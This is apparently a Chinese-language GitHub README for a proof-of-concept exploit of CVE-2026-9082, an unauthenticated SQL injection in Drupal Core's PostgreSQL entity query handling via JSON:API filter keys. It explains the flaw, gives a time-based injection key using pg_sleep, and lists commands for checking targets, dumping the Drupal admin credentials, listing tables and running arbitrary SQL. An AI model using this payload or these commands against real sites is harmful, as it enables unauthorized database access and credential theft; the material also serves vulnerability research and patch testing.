7h30th3r0n3/CVE-2026-9082-Drupal-PoC

GitHub: 7h30th3r0n3/CVE-2026-9082-Drupal-PoC

针对 Drupal Core PostgreSQL SQL 注入漏洞(CVE-2026-9082)的概念验证工具,通过 JSON:API filter 参数实现未认证的任意 SQL 执行。

Stars: 20 | Forks: 3

CVE-2026-9082 - Drupal Core PostgreSQL SQL 注入 PoC

Drupal Logo


概述

本仓库提供了一个针对 CVE-2026-9082 的合乎道德规范的漏洞概念验证,这是 Drupal Core 中的一个极高风险的 SQL 注入 漏洞,影响所有使用 PostgreSQL 作为后端且运行 Drupal 8.0 至 11.3.9 版本的网站。

该漏洞存在于 PostgreSQL Entity Query Condition 处理程序中,可被 匿名(未认证)用户通过自 Drupal 9 以来默认启用的 JSON:API 模块利用。

官方公告: SA-CORE-2026-004


漏洞概述

Drupal Core 包含一个数据库抽象 API,旨在清理查询并防止 SQL 注入。PostgreSQL 特定的 Entity Query Condition 类(core/modules/pgsql/src/EntityQuery/Condition.php)中的一个缺陷 允许攻击者通过 JSON:API filter 参数传递的用户可控的数组键注入任意 SQL。

  • CVE ID: CVE-2026-9082
  • 公告: SA-CORE-2026-004
  • 受影响软件: Drupal Core
  • 受影响版本: 8.0.0 – 11.3.9(仅限 PostgreSQL 后端)
  • 修复版本: 11.3.10, 11.2.12, 10.6.9, 10.5.10
  • 严重程度: 极高风险 — Drupal 风险评分 20/25
  • 认证要求: 无需认证(匿名)
  • 影响: 数据窃取、权限提升、在某些配置下可导致 RCE
  • 攻击向量: HTTP — JSON:API filter condition array keys

原理说明

  1. PostgreSQL Condition 类中的 translateCondition() 方法会遍历 $condition['value'] 并使用 array keys 来构造 PDO 占位符名称:
    $where_id = $where_prefix . $key;
  2. JSON:API 允许匿名用户通过 URL 参数提供带有 任意 array keys 的 filter 值:
    filter[x][condition][value][MALICIOUS_KEY]=val
  3. PDO 具名占位符仅包含 [a-zA-Z0-9_] 字符。当 key 包含 ) 时,PDO 会停止解析 占位符名称 —— 其后的所有内容都将作为字面 SQL 被注入到查询中。
  4. 通过发送类似 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- 的 key, 攻击者可以闭合 IN() 子句并附加任意 SQL, 同时在同一请求中通过合法的 key 1 来满足对 :prefix_1 的绑定。


法律声明

本工具仅供授权安全测试、教育目的及道德研究使用。未经授权访问计算机系统是违法行为。


安装说明

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git

cd CVE-2026-9082-Drupal-PoC

运行说明 (CLI)

# 检查目标是否存在漏洞

python3 CVE-2026-9082.py -u https://target.com --check



# 提取 PostgreSQL 版本

python3 CVE-2026-9082.py -u https://target.com --version



# 提取数据库信息(用户名 + 数据库名)

python3 CVE-2026-9082.py -u https://target.com --dbinfo



# 提取 Drupal 管理员凭证 (uid=1)

python3 CVE-2026-9082.py -u https://target.com --admin



# 列出数据库表

python3 CVE-2026-9082.py -u https://target.com --tables



# 自定义 SQL 查询提取

python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"



# 使用基于布尔的提取方式(速度更快但可靠性较低)

python3 CVE-2026-9082.py -u https://target.com --version -m bool



# 交互模式(无参数)


作者

  • PoC 开发者:7h30th3r0n3
  • 漏洞发现者:michaelmaturi
标签:CISA项目, Drupal, PoC, Web安全, 文档结构分析, 暴力破解, 测试用例, 蓝队分析, 逆向工具